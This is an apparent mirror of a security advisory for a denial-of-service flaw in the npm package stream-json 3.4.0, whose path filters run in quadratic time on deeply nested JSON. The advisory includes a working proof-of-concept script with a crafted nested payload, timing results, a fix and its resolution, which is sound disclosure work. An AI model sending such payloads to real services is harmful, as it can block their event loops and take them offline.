GHSA-528H-PC64-C93X
Vulnerability from github – Published: 2026-09-03 20:27 – Updated: 2026-09-03 20:27Description
The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).
This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.
Affected code (v3.4.0)
src/core/filters/filter-base.js:
// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
const stringWithSeparator = string + separator;
return stack => {
const path = stack.join(separator); // O(depth) — every call
return path === string || path.startsWith(stringWithSeparator);
};
};
// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
return stack => {
regExp.lastIndex = 0;
return regExp.test(stack.join(separator)); // O(depth) — every call
};
};
// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;
stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.
Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.
Proof of concept
npm i stream-json@3.4.0
node poc-quadratic-dos.mjs
import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';
function run(D) {
const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
return new Promise((resolve) => {
const t0 = process.hrtime.bigint();
const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
pipeline.on('data', () => {});
pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
pipeline.write(doc); pipeline.end();
});
}
for (const D of [5000, 10000, 20000, 40000]) {
const r = await run(D);
console.log(`D=${r.D} bytes=${r.bytes} ms=${Math.round(r.ms)}`);
}
Measured (Node v24, single core, clean npm i stream-json@3.4.0):
D=5000 bytes= 45001 ms= 160
D=10000 bytes= 90001 ms= 603 (3.8x for 2x input -> quadratic)
D=20000 bytes=180001 ms= 2511 (4.2x)
D=40000 bytes=360001 ms=11823 (4.7x)
A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.
Impact
Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.
Suggested fix
Maintain the joined path incrementally instead of rejoining the whole stack per token:
- On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length).
- On end/pop: truncate the cached path back to the remembered length.
- Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).
Alternatively expose/enforce a maximum nesting depth for the filter path check.
Resolution
Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.0"
},
"package": {
"ecosystem": "npm",
"name": "stream-json"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71429"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T20:27:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` \u2014 the library\u0027s headline \"surgical extraction\" feature \u2014 recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D\u00b2)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path \u2014 including the exact README flagship example `pick({filter: \u0027data\u0027})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body \u2014 the primary documented use case \u2014 can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 \u2014 string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) =\u003e {\n const stringWithSeparator = string + separator;\n return stack =\u003e {\n const path = stack.join(separator); // O(depth) \u2014 every call\n return path === string || path.startsWith(stringWithSeparator);\n };\n};\n\n// L34-39 \u2014 regexp filter: same\nconst regExpFilter = (regExp, separator) =\u003e {\n return stack =\u003e {\n regExp.lastIndex = 0;\n return regExp.test(stack.join(separator)); // O(depth) \u2014 every call\n };\n};\n```\n\n```js\n// L194 \u2014 filter(stack, chunk) is invoked for EVERY checkable token while in the \u0027check\u0027 state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn\u0027t matched yet, `filter()` runs once per level and each call is O(depth) \u21d2 **O(D\u00b2)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don\u0027t exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from \u0027stream-json\u0027;\nimport { pick } from \u0027stream-json/filters/pick.js\u0027;\nimport chain from \u0027stream-chain\u0027;\n\nfunction run(D) {\n const doc = \u0027{\"meta\":\u0027.repeat(D) + \u00271\u0027 + \u0027}\u0027.repeat(D); // depth D, never matches \"data\"\n return new Promise((resolve) =\u003e {\n const t0 = process.hrtime.bigint();\n const pipeline = chain([parserStream(), pick({ filter: \u0027data\u0027 })]);\n pipeline.on(\u0027data\u0027, () =\u003e {});\n pipeline.on(\u0027end\u0027, () =\u003e resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n pipeline.write(doc); pipeline.end();\n });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n const r = await run(D);\n console.log(`D=${r.D} bytes=${r.bytes} ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000 bytes= 45001 ms= 160\nD=10000 bytes= 90001 ms= 603 (3.8x for 2x input -\u003e quadratic)\nD=20000 bytes=180001 ms= 2511 (4.2x)\nD=40000 bytes=360001 ms=11823 (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D\u00b2), ~1\u20132 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter \u2014 the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string \u2014 O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.",
"id": "GHSA-528h-pc64-c93x",
"modified": "2026-09-03T20:27:53Z",
"published": "2026-09-03T20:27:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/uhop/stream-json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "stream-json: pick/ignore/filter/replace filters are O(depth\u00b2) on nested input \u2014 small crafted JSON blocks the event loop for seconds\u2192minutes (DoS)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.